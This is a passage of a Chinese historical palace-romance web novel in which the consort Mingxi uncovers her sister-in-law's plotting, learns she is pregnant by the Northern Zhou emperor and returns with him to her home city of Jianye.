话音落下,却见萧元彻轻咳一声,道,“反正他今日状似疯癫,神志不清,就算果真幽禁,难免会出些意外……何事都有可能。” 这便是答应她的意思了。 明熙心间稍稍舒服了些,又道,“我还有件事要问你。当初你向建业派兵之前,可曾收到过我的信?” “信?” 萧元彻摇头道,“并没有,为何这样问?你那时曾给我写过信?” 是啊。 明熙颔首道,“那时我兄长中毒而亡,吴贼又逼近建业,那谢霁扬闯下大祸,惹得你们大兵压境,我曾亲手给你写了封信,叫我的近卫凌云带来给你,想叫你暂且不要出兵,等我们镇压那 吴贼之后,我自会将谢家狗贼送至你们手上,却不料凌云一去便失去了音信,而此后我也失去了记忆,直到如今,也没能找到凌云。” 这话一出,萧元彻才明白在他发兵之前曾发生过什么。 他立时道,“大周境内从未发现你派的人及密信,倘若有,我自会亲自到你身边。或许是其尚未到达大周便出了意外。” 却见明熙挑眉看他,“你没骗我?” 萧元彻立时正襟道,“倘若所言有虚,天打雷劈。” 那姑娘这才点了点头道,“姑且信你一回。” 语罢又皱眉道,“但若凌云是在南齐境内出了事,其身上带着我的腰牌,为何未见人禀报?” 且他武功高强且素来小心,又怎么会轻易在国境内遇险? 萧元彻道,“你或许想见一见顾秋长,前日找到他后,他曾向我交代过一件事,与四年前,建业的那场宫宴有关。” 第48章 有孕 明熙随萧元彻来到地牢之时,顾秋长正如惊弓之鸟,蜷缩在牢房一角。 待认出是她后,其立时扑到近前跪地道,“殿下,不,是贵妃,求贵妃娘娘念在相识一场的份上,饶顾某一命吧。” 谁能想到,当初那般意气风发的探花郎,如今竟沦落成这般模样? 明熙咽下唏嘘,只冷声道,“你也知与我相识一场,却又为何要与那萧元任联手,要置我于死地?” 却见顾秋长道,“草民也是被逼无奈,当初举家南下益都后,朝中整日争论不休,谢氏不思教训,依然把持朝政,稍有不同意见者,皆被其清算。草民又无施展之地,只好一路北上打算试试运气,没想到在临江遇见惠王后,却被其诓骗到了上京。他原是答应要举荐草民在上京谋求官职,却没想到是要来害公主您……” 这些借口,明熙其实已经料到,此时只哼笑一声道,“若非你主动向其呈上我的画像,又岂会落入其陷阱之中?” 语罢也不愿再与其多说,只道,“饶不饶你自有陛下说了算,如今我要问你一件事,四年前招待西平国王子的那场宫宴,究竟是谁在我酒中下的情丝绕?” 却见顾秋长忙道,“公主明鉴,下药的并不是草民,草民纵有心,也并无能力在宫宴上下药,是谢太后,是谢太后下的!谢太后说,那晚只要草民抓住机会,驸马之位就是草民的。可,可没想到您先离开了殿中……” 明熙脑中轰然一声。 竟然是嫂子。 她着实没想到,在那场宫宴上给自己下顶级情药的,竟然是那个待她如亲妹妹一般,哥哥最爱的嫂子谢燕蘅。 那时西平国王子李卓贤带着使团亲自到建业向她求婚,那场宫宴就是哥哥为招待其一行人而办。 当时南齐国力已在衰退,满朝大臣都赞同两国联姻,要将她嫁去遥远的西平。 她心间烦闷,便在那场宫宴上多饮了几杯酒,却不料中了那顶级的情药,发现不对后,她立时叫扮做护卫的萧元彻将她带走。 后来便是别院中那缠绵的一晚…… 当时她认定是朝中大臣为了促成她与西平国的联姻,而下的药,甚至一度怀疑哥哥是否知情而默许,也因而心间种下了芥蒂,自入深山之后,甚少回建业探望哥哥。 却没料到,竟然是谢燕蘅! 那个每每在父皇责备她之时,替她求情的嫂子;在朝中大臣参奏她荒唐之时,替她拦下的嫂子。 …… 明熙不知是如何出的地牢。 试想,谢燕蘅既然能为了自家的势力给她下药,想叫她委身与顾秋长,那可有做过其他恶事? 凌云的失踪。 甚至哥哥的死。 还有哥哥下葬前夜的刺客。 是不是都与那女人有关? …… 地牢的台阶阴暗又陡,怕她跌倒,这一路萧元彻都紧紧牵着她。 等到终于来到地面,午后的阳光洒在她的身上,她却忍不住发冷起来。 萧元彻察觉她的不对,急忙道,“阿真,你可还好?怎么手有些发烫?” 说着又抬起手,想要触摸她的额头。 明熙摇了摇头,想说话,然而未等张口,却忽的眼前一黑,晕了过去。 …… 寿安宫。 从寿宴回来后,太后的心间就如同堵了一团巨大的棉花,直叫人坐也不是,立也不是,着实憋闷得难受。 眼看傍晚之际,终于见王嬷嬷从外头回来,太后立时问道,“可打听清楚了?温家是出了什么事?” 却见王嬷嬷道,“娘娘别急,奴婢已经问清楚了,原来是那永安公府的二房夫人嫉妒舒月姑娘得太后您的看重,妄图叫自己的女儿代替舒月姑娘嫁入宫中。便趁着前阵子回娘家省亲之际,叫人做了一根有毒的簪子,回来后送给了舒月姑娘,舒月姑娘起初并不知情,还是那日在宫中,被贵妃娘娘看出了玄机,悄悄提醒的她。” “待温姑娘将簪子拿去外头查验过后,果然发现是有毒之物,告知了温家的长辈,这才惩戒了那二房夫人,如今,那罪魁祸首已经被遣送到了京郊得庄子上严加看管,对外说的是其养病去了。” 太后这才明白今日温舒月所提的家中之事是何事,又是为何特意向贵妃道谢。 想了想,又问道,“那,温家可是还有其他求亲者?是不是有入了舒月的眼的?” 王嬷嬷忙道,“早几年自是不乏求亲者,但自打今年太后将那株碧玉芙蓉赐予温家之后,京中各高门都已经心间有数,再无人去自讨没趣了,也未听说舒月姑娘与哪个男子有何交往。” 话音落下,太后却又忍不住叹了口气道,“既然如此,这傻孩子究竟是为何要拒绝哀家?难不成是因那簪子的事觉得欠了贵妃人情?纵使如此,也无需如此来报答!” 这可是她一眼就相中的儿媳!不媚不骄,端庄知礼,堪当中宫大任。 此番错过,她又要去何处找这般合适之人? …… 一旁,王嬷嬷将她这幅愁容看在眼中,却是欲言又止—— 有道是强扭的瓜不甜,那温姑娘再好,眼下却已经不可能再入宫门。 且最要紧的,君王也并喜欢。 眼下总归已经有位贵妃,除过出身低些,相貌与人品根本挑不出什么毛病。 别的不提,就说那温家毒簪的事,贵妃但有私心,将其曝于大众面前,温家的名声就算是毁了, 可她却只是悄悄告知了温舒月自己,此番若非太后派她去查,宫中连一点消息都没有,可见其既识大体又纯善。 后宫能有这样一位主子,已经很好了。 …… 然而眼下太后正在心烦之处,她再帮贵妃说话,不知是否有些不好…… 正在思忖间,却见殿外响起胡尚宫的声音,“启禀太后娘娘,奴婢有喜事禀报。” 王嬷嬷一愣,太后却兴致寥寥的应道,“能有什么喜事?进来吧。” 王嬷嬷便赶忙去开门,就见胡尚宫急匆匆迈进殿中,行礼道,“启禀太后,延福宫传来喜讯。贵妃有孕了。” 什么? 太后愣了愣,尚有些未反应过来,却见殿里殿外已经跪成了一片,众人齐声道,“恭喜太后娘娘,贵妃怀有龙嗣,您就要做祖母了。” …… 延福宫。 眼看已经诊出半个时辰了,明熙依然觉得像在做梦一般。 她怀孕了? 她肚子里有一个孩子? 她,要当娘了? 不知是不是因为方才昏倒的那一下,叫她脑子反应有些慢,然殿中众人却都是一脸喜色。 尤其萧元彻,自将她抱回殿中直到现在,还在拉着御医问东问西—— “贵妃如今脑中淤血可已经清除?此时有孕,是否会对她的身体有何影响?” 却见御医道,“启禀陛下,娘娘既然恢复了记忆,且未出现头疼的征兆,说明淤血已经去除,怀孕之事,对娘娘并不会有何影响。” 萧元彻又问,“那贵妃方才晕倒,可是虚弱导致?该如何做才能叫她恢复健康?” 御医有道,“娘娘的确有些虚弱,但多与这几日睡眠减少,进食太少有关,接下来注意休息,多食用些 鱼肉,瓜果之类,自然就好会起来的,陛下放心,贵妃娘娘并不需要用药。” 萧元彻颔了颔首,却又道,“那……朕该如何做才是?” 御医顿了顿,“……陛下可以多来看望娘娘与龙嗣,让龙嗣熟悉您的声音,将来出生,之后,也会与您更加熟悉些。” 就见萧元彻颔了颔首,又道,“那个……” 想了想,又实在没有什么好说,只好道,“算了,朕暂时想不到,等想到再叫你。” 御医应了声是,便退出了殿中。 萧元彻则来到床边,拉住明熙的手,小心道,“阿真……” 如方才一样,叫了个名字后,却又不知道要说什么。 还是明熙主动道,“你很高兴吧?” “高兴。” 只见他赶忙点头,而后,又小心觑她的脸色道,“你呢?” 明熙却是一脸茫然道,“我不知道。” ——她从来没想到,做母亲这种事会出现在她的人生之中。 尤其自打哥哥去世,家国骤变,她的人生,一度只剩下复仇二字。 可如今,仇人变成了曾经最相信的人,故国又是一片凌乱…… 她真不知以后要如何。 这时候却又来了个孩子,还是他的…… 难不成她以后要一直留在这北周? “请恕奴才多嘴,” 一旁传来了赵怀的声音,道,“自先皇离世,公主您如今终于又有了骨肉至亲,这是好事啊!您腹中的这个孩子,不只是陛下的骨肉,更是您的骨肉。您从今往后不再是孤身一人,先太后与先帝天上有灵,也会为您欣慰的。” “是啊,” 凌霜也忙上前道,“您有了小主子,往后在这宫里也不再是自己,以后有什么事,小主子一定会护在您身前!倘若您再多生几位小主子,往后就有更多的靠山!” 明熙,“……” 还多生几个,一个就已经叫她束手无策了。 萧元彻却赶忙点头道,“言之有理,念你们照顾贵妃有功,赏。” 话音落下,凌霜跟赵怀赶紧跪地道,“谢陛下隆恩。” 面上都是掩不住的喜色。 眼见二人领赏后喜滋滋的退出了殿外,殿中又只剩了她与萧元彻两人,明熙瞥了一眼某人,道,“可看出你是高兴了,既然这么喜欢孩子,何不广开后宫,多找几个妃子给你生?” 却见萧元彻道,“我只喜欢你生的孩子,身上有你我二人的骨血,才不会与旁人生。” 说着又厚脸皮的伸手,从背后将她抱入怀中,道,“阿真,先前是我不好,以后不会再对你有所隐瞒。杀你兄长之人,我会与你一起找,南齐的事,我也与你一起面对。” 明熙却叹了声气道,“杀我兄长的人,我已经差不多知道是谁了。她能为了自己娘家的势力给我下药,未必不会为了保住自己的侄子,向我兄长下毒手。” 是的,料想能指使人在兄长的饮食中投毒,反过来又能去诬陷萧妃的,还能是谁? 除过当时的皇后谢燕蘅,还有谁有这样的势力? 她又道,“当初谢霁扬惹出祸事之后,我兄长十分震怒,已经决定要处罚谢霁扬给你们交代,可偏偏在那时出了事,除过谢燕蘅,不会有第二个人。至于建业……” 她转向他道,看今日殿中众人的反应,已经恨透了我们魏家,就算你真的想把建业还给我,那些大臣也不会同意的。” 再说,若是将建业再送到那谢氏手里,她宁愿如现在这般。 “总会找到解决之道的,只要咱们在一起好好想办法。” 耳畔又传来萧元彻的声音,“阿真,这世上,从此多了一个由你我造出的生命,我与你,便是他的父与母,我们再也不可能分开。” “我定会给你该有的。也绝不会叫我们的孩子受半点委屈。” 第49章 不是她想吃,是孩子想吃…… 明熙的孕期就这样开始了。 在经历短暂的惊讶与无措之后,她也终于想通,赵怀说得对,孩子是她的骨肉至亲,从此在这世上,她便不再是孤身一人。 她的人生在报仇与复国之外,也有了新的方向。 而要知道,这孩子不仅是她的骨肉,也是这北周的第一位皇嗣,是以消息送到寿安宫后,也叫太后心间的烦闷缓解了不少,当晚便派王嬷嬷送了许多补品给她,还特意叮嘱她要好好休息,不必急着去谢恩。 话虽如此,待到第二日起床后,明熙仍去到寿安宫给太后请安,以免落下话柄。 不过到底有孕后身体困乏,起的晚了些,等她到时,却见静太妃,纪王妃,安平王妃及常山王妃都已在殿中陪太后说话。 大约因她有孕的消息,太后的面色比昨日打寿宴上离开时好了许多,见她进殿行礼,赶忙叫她起身,又特意嘱咐宫人搬了舒服的椅子给她坐。 其余众人则纷纷向她道喜,纪王妃还特意关问道,“不知贵妃眼下身体如何,可有什么反应?” 头回怀孕的明熙无甚经验道,“眼下除过身体有些累,其他都还好。” 静太妃道,“想来是时日还浅,过些日子只怕就要受罪了,当初我怀玉容时,头三个月吃不下任何东西,每日只想睡觉,直到三个月以后才好转。” “臣妇也是一样。” 常山王妃也道,“起先胃口不好,三个月一到,立时就想吃了,只是与先前的口味完全不同。” 太后在旁颔首道,“妇人有孕大多如此,不过就算胃口寡淡,也还是要尽量多吃些,以保证腹中孩儿康健无虞。” 明熙应了声是,却见安平王妃道,“贵妃有孕,太后也要做祖母了,此乃是大喜之事,只是我等今早才知道消息,没能准备贺礼,还望太后与贵妃见谅。” 太后便道,“都是自家人,不必如此客气,待到来年皇嗣出生,必定还要再邀你们来京庆贺。” 安平王妃应是,却见太后又问道,“慧音,还是没有消息吗?” 慧音,既北周送去南齐和亲的那位萧妃。 这叫明熙心里悄悄一顿,却见安平王妃摇了摇头道,“没有,陛下及王爷都派了人去找,眼看几乎要把咱们大周境内及南边都找遍了,竟是一点蛛丝马迹都没有,都不知还在不在人世……” 说着又眼眶泛红起来。 太后便安慰道,“天佑我大周,必定也会保佑慧音平安,陛下还在派人去找,你们放宽心,保重自己的身子要紧。” 便见安平王妃应是,又拿起帕子擦了擦眼角,向明熙致歉道,“大喜的日子,叫贵妃笑话了,还望娘娘莫要往心里去。” 这叫明熙心间有些复杂。 说起来,从前因着萧元彻的关系,她对北周并无什么敌意,且知道二人是堂兄妹,还在萧妃初到建业时,常常去看她。 萧慧音性情温和,大抵因孤身在异国的关系,对外人显得清冷,却在与她熟络之后,时常给她介绍北国的风俗。 所以,她与萧妃,也算有些交情。 明熙便也开口安慰安平王妃道,“有句俗话说‘没有坏消息,就是好消息,’王妃且放宽心,或许郡主很快就会回来了。” 安平王妃便又颔首向她道谢。 接下来众人又同明熙传授了些孕期的经验,太后念她身子虚弱,先叫她回去歇息。 待明熙回到延福宫中,便对凌霜道,“叫人给安平王府送个信,就说在南诏国发现了箫慧音的踪迹,叫他们自己去找吧。” 这倒叫凌霜有些意外,道,“萧妃毕竟是先帝的嫔妃……她同别人私奔,您就不介怀?” 明熙叹道,“先帝从前一心对那谢燕蘅,根本从未留宿过萧妃宫中,二人根本没什么感情。更何况人死灯灭,又何必叫一个无辜之人受牵连?她也不过是两国之间的牺牲者,就如同当年那帮大臣要将我嫁去西平国一 样。” 只是那时父皇驾崩,又有哥哥相护,才叫那场婚事作罢,否则,她很难保证自己不会沦落如萧妃一样。 凌霜点头道,“自打有了小主子,您比从前看开了许多。” “是吗?” 明熙不由挑眉。 她承认,自打来到北周经历过一桩桩一件件的事后,她有许多想法,已与从前不同。 但是不是与肚子里的小生命有关,她自己也说不准。 毕竟自得知有孕的消息至今,才不过一日,她一点感觉都没有。 思及此,她不由伸手轻轻摸了摸小腹,又不由在心间好奇—— 这个孩子,到底是男是女,长得会像她还是萧元彻? …… 几日过后,猝不及防的孕期反应叫明熙彻彻底底有了感觉。 慵懒困倦,整日在床上不想起来也就罢了,胃口也脆弱的离奇,连丁点儿的荤腥都闻不了,饭桌上但凡出现一点有油脂的菜式,就能叫她当场呕出来。 每日只能吃些白粥及瓜果度日。 这可愁坏了萧元彻,眼见她的脸颊一日小过一日,直叫他坐立难安,只能每日不停的去问御医,“贵妃胃口如此寡淡,眼看日益消瘦,这可如何是好?竟没有解决的法子吗?” 御医也很是无奈,只能道,“请陛下明鉴,自古妇人有孕,大多都是如此,只能撑到三个月过去,这些反应自然会消退,但若此时强制用药,有无效果暂且不说,只怕会对胎儿造成影响。” “没关系……” 正瘫软在榻上的明熙勉强撑起身子道,“我能忍……不就三个月么,还有四十余天而已。” 萧元彻只能挥手叫御医退下,又来到床边将她抱住,叹道,“早知如此,当初知道你有孕时,我便不该那么高兴……阿真,是我对不起你。” 明熙哼了一声道,“你知道就好,这笔账我先给你记着,倘若将来胆敢负我,我就……呕……” 话未说完,又忍不住干呕起来。 这叫萧元彻吓了一跳,赶忙给她拍背递水,又着急道,“这是怎么回事,此时并未有油烟荤腥……” 毕竟晚膳已经过去一个多时辰了,且他还是与她一道用的白粥,饭桌上分明一点油水都未见。 哪知明熙一脸嫌弃的将他推开,“是你身上的,这是什么香,我闻不得,快起来……呕……” 萧元彻,“……” 竟然连衣袍上的熏香也闻不得了? 只好赶忙起身去沐浴一番,连有香味的澡豆都未敢用,洗好后,又换上了干净无香的寝衣,才终于得以近她的身。 …… 就这般,眼看一日日过去,萧元彻陪着明熙吃白粥度日,自己也清减了许多之后,明熙的孕期终于进入了第四个月。 竟然果真如那几位太妃王妃说得一样,那些不适的症状自动消退,她的胃口终于回来了。 只是也的确与从前不同了许多,譬如她原本并不爱吃面食,如今竟然顿顿想吃大饼面条包子汤饺。 还有天晚上,因为忽然想起了萧元彻带她去逛街时遇见的那家食客满满的羊肉面而大流口水,辗转难眠。 所幸萧元彻体贴,待到第二日傍晚,便亲自带她去了宫外解馋。 距上回来时已经有几个月,上京也从春日到了夏末秋初之际,街上的行人却依旧熙熙攘攘,似乎比从前更多了些。 马车停稳,萧元彻先落地,再伸手将明熙从车上小心扶下,又牵着她的手去找那家羊肉面。 “是这个方向吗?” 他也有日子没来了,生怕找错了地方叫明熙失望。 却见明熙点头,“就是这个方向,我都闻到那个味道了。” 说着还拉着他快走几步,待来到一个路口,果然就见到了那家羊肉面摊,如上回一样,依然食客满满。 宽口大锅里正滚着浓浓的肉汤,一旁的案板上,虎背熊腰的摊主正用一根长长的擀面杖擀着一块面团。 只见其先几下将面团压成面饼,再用面杖卷起用力擀几下再展开,如此几番之后,那面团已经变得如桌面一样大,那摊主再将面饼叠起刀切,一阵之后,面饼终于变成了长长韧韧的面条,一瞧就好吃。 趁着此时正有空出的桌子,明熙立时拉着萧元彻坐下,一阵过后,热腾腾的羊肉面终于送到了她面前。 黄亮的面条浸在酱色的汤中,上铺几片红润的卤羊肉,再洒上蒜苗葱花,一瞧就好吃。 她也顾不上与萧元彻客气,先捞起一筷送入口中,心间立时满足了。 “如何?可是你想吃的味道?” 萧元彻急忙关问。 明熙连连点头,“就是这个味,面条筋道,羊肉也咸香,你快也尝尝。” 萧元彻这才放下心来,便也尝了起来。 不错,面的确够筋道,羊肉亦是软烂入味,不怪会有这么多的食客,但叫他意外的是,上回明熙分明一脸嫌弃的连尝都不尝,如今竟然牵肠挂肚的主动拉他来吃。 “我知道你在想什么,” 面前,明熙一边吃面一边道,“我也很奇怪胃口怎么变成这样,不过昨日听纪王妃说,这其实是腹中孩儿的口味,是他想尝,所以我才会想来吃,大约等生下来之后,我就恢复正常了。” “原来如此。” 萧元彻颔了颔首,又笑道,“无妨,无论是你还是孩子,想吃什么,我们随时来便是。” 说着又主动问道,“可还要去尝尝那家馄饨?” “馄饨是吃不下了,” 明熙莞尔一笑道,“不过可以去尝尝他们家的酥鱼。” ——这人好似她肚里的虫一般,天知道她前两天正想念那老夫妇俩做的酥鱼呢。 如此说好,待二人吃罢羊肉面,便又一同去了那家馄饨店。 依然是那老夫妇二人看店,见他们到来,立时热情的打招呼道,“客官娘子来了,今天想吃些什么?” 萧元彻道,“来一碟酥鱼就好。” 老夫妇应好,立时送了一碟酥鱼上来。 此时已过了晚饭时间,店中并不算忙碌,趁着明熙吃鱼的空当,那老翁又与萧元彻闲聊道,“看客官仪态不俗,想来应是官府中人,不知可方便打听一下,咱们大周与南边,今后是不是不会再打仗了?” 这叫明熙悄悄顿了顿,萧元彻也道,“老丈为何这样问?” 却见那老翁道,“有道是叶落归根,这人老了,就总想着再回家乡去,将来死了,也好埋在家乡。眼看着如今天下太平了,咱们上京的百姓都说那南边魏家气数已尽,不日就要归顺,不知我们老两口,可还能等到那一天。” 话到此处,未等萧元彻说什么,明熙却问道,“那你们觉得,是南边的魏家好,还是这大周的天子好?” “那还用说,当然是咱们大周的陛下英明。” 老妇又忍不住插话道,“这几个月我们见了不少来上京做生意的同乡,他们说,自打大周接管江南,但凡有回乡的流民,只要没有作奸犯科,都能领回原本的土地,还帮着建房舍,免三年赋税,我们这不也起了念头,想去试试。” 明熙点了点头,道,“你们顾好身体,定能等到回到家乡那日的。” 说着,正好碟子里的鱼也已经吃完,她便叫萧元彻结了账,又一起出了小店。 街上依旧人来人往,走了几步,萧元彻正要说话,却见明熙又道,“下回要带凌霜一起来,叫她跟着这老两口学一学做菜,不然等他们回乡,就吃不到这味道了。” 萧元彻应好,眼见时候不早,便与她返回了宫中。 听闻勤政殿又来了公务,是以将明熙送回延福宫后,萧元彻又去了御书房。 而待明熙沐浴过后,正要上榻休息,却见凌霜上前道,“公主,方才您出去的时候,凌雪送了信来。” 明熙哦了一声,顿足道,“何事?” 却见凌霜道,“是那谢太后托凌风从益都给您带的消息,说是陛下在益都多有不适,请您务必想法子助她们尽快返回建业。” 第50章 回建业 谢燕蘅竟然给她送了信? 明熙不由冷笑,自打哥哥下葬前夜她受伤昏迷至今,这女人还是头一回给她来信。 凌霜也皱眉道,“自他们去了益都,这还是头回给您来信,却不知她又如何肯定,您有法子帮他们返回建业的?” 明熙道,“算算时间,先前萧元任在太后寿宴上闹的事也该传到益都了。” “您是说,谢太后已经知道这大周的贵妃就是您了?” 凌霜依然不解道,“可仅凭些只言片语,她又如何能肯定此事?这件事我们连凌风也没有告诉。” 不错,此事毕竟关系重大,除过赵怀与凌霜在宫中一路陪她,宫外便只有凌雪知道这件事,便是在益都守护幼帝的凌风也并不知,她已经在上京当上了贵妃。 仅凭从上京传去的流言,那谢燕蘅又能如何肯定,她便是大周的贵妃? “如此一来,只有一个可能。” 明熙道,“她当初应是看过我写给萧元彻的信,知道了我们的关系,而凌云,也必定是死在了她的手上。” “她居然会对凌云动手?凌云可是被您派去救国的!” 凌霜不由咬牙道,“这个狠毒的女人,南齐真是毁在她手上了!” 语罢又忙对她道,“谢太后处处为自己和娘家着想,从不为大局考虑,您如今可要冷静,千万不要再中了她的计谋。” “怎么会呢?” 明熙道,“已经搭上了凌云和先帝,还有南齐十余个州郡,我若是再中了她的计,岂不白活了?” “不过,有些帐也是时候算了。” 她前阵子是身体不适实在没有精力,如今精神既已恢复,便不能再拖下去了。 她对凌霜道,“取纸和笔来,我要写几封信。” 凌霜应是。 …… 四封密信连夜发出,约莫半个月之后,明熙便收到了凌风的回信,道是自接到她的密信后,益都的几位忠臣及皇亲皆已联合起来向谢燕蘅施压。 益都的气候不同于建业,历经漫长又潮湿的暑热之后,不论朝中大臣还是营中的将士,皆都思乡心切,在得知今次归乡有望后出乎意料的团结,料想谢燕蘅应该撑不了多久。 果然,又过了半个月,第二封求和信终于从益都送到了上京。 …… 上京已经正式入秋,明熙的孕肚也开始显现,由于提前听取过几位太妃王妃的经验,她特意提前做好了润肤的香露,以预防孕肚上可能会出现的花纹。 此时正好派上了用场。 这晚沐浴过后,她正在榻上涂着香露,恰逢萧元彻迈进了殿中。 瞧见她后,他立时去净了手,而后挽起衣袖来到她身边,道,“我来。” 便给她涂了起来。 涂了几下后,还不忘问,“这手法如何?” 明熙满意的点了点头,“比昨日有进步,记得肚子上要多涂些,转圈抹匀,手法再轻柔一点……” 萧元彻便听话照做,一阵以后,却见明熙一顿。 他吓得立时停手,问道,“不舒服吗?可是我力道大了?” 明熙摇了摇头道,“不,不是,是我觉得,肚子里好像冒了个泡。” “冒泡?” 萧元彻不明,只是紧张道,“可要传御医?” 却见明熙又摇头道,“不必传御医,我记得静太妃说过,孩子才开始动时,就像小鱼吐泡泡。” “方才是孩子在动!” “我们的孩子会动了?” 萧元彻怔楞过后立时也惊喜起来,忙将手覆在她的肚子上,问道,“是这里吗?” 明熙又将他的手往左侧挪了一下,“是这里,方才就是在这里吐泡泡的” 他的孩子就在这里! 萧元彻掩下心间激动,试着道,“孩……” 哦不,应该是“乖乖”,毕竟每晚明熙睡前就是这样叫小家伙的 重新开口道,“乖乖,我是爹,方才,是你在动吗” 然而话音落下,却并未感觉手下有什么反应。 却见明熙一笑道,“我听静太妃说,一开始几日才懂一次,等到后头才会多起来。” 说着又摸了摸他的手,安抚道,“不必失望,下回一定能感觉到。” 萧元彻只好颔首,继续手中的活计,忽的想起一事,又道,“今日朝中又收到了益都的求和信,比起上次,似乎多了些诚意。” 明熙哦了一声,“不知这次信中都说了些什么?” “他们说,愿意与我朝中和谈,且会将杀害秦州县令的凶手交由我朝处置。”萧元彻道。 “果然诚恳多了,” 明熙又道,“却不知今日朝堂上是什么反应?” 萧元彻道,“众人各持意见,不过总归都认为他们诚恳了些,有商谈的可能。” 明熙点了点头,“事情总要解决,不能再拖下去了。” 萧元彻抬眼看她,“你的意思……” 明熙又道,“下个月就是我兄长的冥诞了,我想回去看看。” ——侄儿年幼,那谢燕蘅又根本不可信,谢氏这个毒瘤,必须得她亲自前去铲除。 只是不知,萧元彻会不会同意。 哪知待她话音落下,他只顿了顿,便颔首道,“也好,那我们就回趟建业。” 这下意外的换成了明熙,她道,“我以为你会反对。” 毕竟如今她一个人担着两条性命。 萧元彻道,“既是你要紧的事,便也是我的,” 说着又将手覆在她微微隆起的孕肚之上,道,“也是他的。一家人,自是该一起面对。” 一家人…… 明熙心间微动,将自己的手也覆于他的手上,道,“是啊,我们才是一家人。” 语罢又在他的脸上吻了一下,道,“谢谢你,二郎。” 萧元彻也伸手将她拥入怀中,道,“你我之间,何须言谢?” …… 第二日,君王将亲自南下与南齐和谈的消息,便传遍了朝中。 与朝中大臣们纷纷支持不同,得知消息后,太后立时将萧元彻请到了寿安宫中。 “哀家听说,陛下要亲自南下,去与那南齐和谈?” 太后十分不可思议道,“如今我们大周占据上乘之势,便是要和谈,又何须陛下亲自出马?派几位心腹重臣前去不就好了?” 却见萧元彻道,“母后请勿着急,江南一带毕竟是南齐故土。虽则我大周的将士驻扎已有近一年,毕竟名不正言不顺,眼看南齐诏帝冥诞将至,此时朕亲去祭拜,利于民心彻底归顺,与南齐和谈之时,亦会更有底气。” “再者,如今益都以南还在南齐势力之内,若哪日他们再生事端,我们又要挪出精力应对,不如趁此机会朕亲自过去与他们商谈为好。” “就算如此,陛下亲去也就罢了,为何还要带贵妃同行?” 太后又道,“贵妃现下怀有龙嗣,岂能经得起颠簸?还是叫她留在宫中为好。” 萧元彻道,“贵妃眼下身孕已有近五个月了,朕问过御医,她胎像稳固,与其久困宫中,不如出去散散心也好,再说此去以水路为主,七八日便能到建业,不会过多颠簸,母后无需太过担心。” “再者,朕此次南行,带贵妃一起,也更能令百姓亲切。” 然太后却还是反对道,“哀家如何能不担心?陛下先前不立后宫,这个岁数才来了这么一个皇嗣,这个皇嗣对我大周有多重要,不必哀家多言,哀家也不能叫皇嗣冒一点风险。若陛下觉得这一路要有人陪,再找几位美人便是,上京高门如此之多,也不缺贵女。” 话中充满了埋怨,直叫殿中侍奉的王嬷嬷及碧书几个不无心间一紧。 悄悄觑去,却见君王果然也变了脸色。 “母后也说,朕已是这个年纪,请恕朕今次不能听母后的了。” 萧元彻叹道,“朕不是三岁稚童,登基至今近五年,历经种种大事,皆是深思熟虑后处之。今次南下之事关系重大,朕既然打定了主意,自会做好一切准备,贵妃在朕心间无人能比,朕也不会叫其与腹中骨肉出半点意外。母后就不必再操心了。待南齐之事彻底解决,朕与贵妃及皇嗣自会平安归京,母后只要保重身体就好,其余的事情,就不必再操心了。” 说着便起身,出了殿中。 众人只得赶紧跪地恭送,吓得连大气也不敢出。 君王素来孝顺,这却是最为强硬的一次。 而太后望着他的背影,也紧紧皱起了眉—— 这个孩子为什么不惜 与自己对抗,也非要带贵妃去与南齐和谈? 难道…… 先前萧元任说的,竟然是真的? ………… 约莫半月之后,一切准备就绪,明熙便与萧元彻踏上了南下的行船。 她与凌霜,赵怀几个都是自小在南国长大,坐船乃是家常便饭,并没有什么问题。 而萧元彻好歹在南国待过,加之体魄强健,也无甚反应。 同行的高寿可就惨了,作为北国的“旱鸭子”,他自打出发那天起便一直晕船,每日只能躺在榻上休息,连站都站不稳,也毫无胃口,不过三日,便明眼可见的瘦了一圈。 尽管如此,高大总管还是坚持每日到御前请安,并向萧元彻及明熙致以歉意,“奴才着实不中用……不,不能侍奉陛下娘娘……” 明熙叹道,“高公公无需多礼,快些去歇着吧,再有三五日便能上岸,你且先忍着些。” 语罢又叫人给他拿了几个橘子道,“此物可以止吐,若是晕的难受,就剥了橘皮放在鼻子边闻一闻。” 萧元彻也颔首道,“回去歇着吧,这里还有旁人,不必操心。” 高寿应是,接下明熙赏赐得橘子,热泪盈眶的又回房中躺着去了。 历经过雨水丰盈的夏日,河道正处于丰水期,令航行十分顺利,约莫四日之后,便到了建业。 未等龙船靠岸,明熙已经忍不住迈出船舱向前头看去。 那个繁华的故城,她出生长大的地方,终于清晰的出现在了眼前,而不只是在梦中。 回想去年她改名换姓,奔赴上京之时,从未想过有朝一日还能活着回来。 而眼下,不止她自己活着,肚子里还多了一个小生命。 这趟出来,小家伙很是争气,没叫她有半点不适,且眼看着胎动也越来越明显,每当她与旁人说话之际,小家伙便时不时的吐上几个泡泡,叫她很是惊喜。 譬如此时,眼见龙船靠岸,城中将士及百姓已纷纷在岸边相迎,她的耳边响起“恭迎陛下,恭迎贵妃娘娘”的呼声之时,肚子里的小家伙立时又动了起来。 明熙抚了抚肚子,轻轻道了声,“乖,咱们回来了。” 语罢,她便牵起萧元彻的手缓缓下船,踏上了故乡的土地。【你现在阅读的是 】 第 51 章【VIP】 第51章 公主回来了 御辇在城中行驶,明熙也透过车帘看着故乡的一草一木。 城门与街道几乎与从前无异,但随处可见的修补痕迹分明告诉她,在一年多前的那场浩劫中,她的故城曾遭受过可怕的冲击。 也是,连曾经的皇宫都已经遭受到了洗劫,更何况是平民所在之处? 思及此,她忙问萧元彻道,“当初吴贼入城之后,可曾屠杀百姓?” 却见萧元彻道,“他们入城五日,只顾着敛财抢夺,宫中及那些世家高门都尚未抢完,我大周的兵马便到了,倒叫他们尚未来得及对百姓动手。” “那倒还好,” 明熙放了放心,又不由自嘲一笑,“不枉百姓供养我等这么久,总算也为他们做了点有用之事。” 闻言,萧元彻将她拥入怀中,温声道,“出来一路,累了吧?” “还好。” 明熙笑了笑道,“就是忽然有些嘴馋,想吃碗桂花圆子,要多放些红糖。” 建业的秋日晚于上京,此时暑热才退,正是凉爽之时,空气中处处是桂花的甜香味,倒勾起了她的馋虫。 果然,不管离家多久胃口还是属于故乡的。 萧元彻有求必应道,“我叫人安排,眼下落了地,高寿应该也好了。等会儿你先歇息,我去见见此地的兵将。” 自打去年平定吴惟忠战乱,便一直是北周的驻兵在此维系百姓安危,此时有他亲自慰问,定能缓解将士们的思乡之情。 明熙应好,待来到达下榻的驿馆,接受过众人参拜后,便先去歇息。 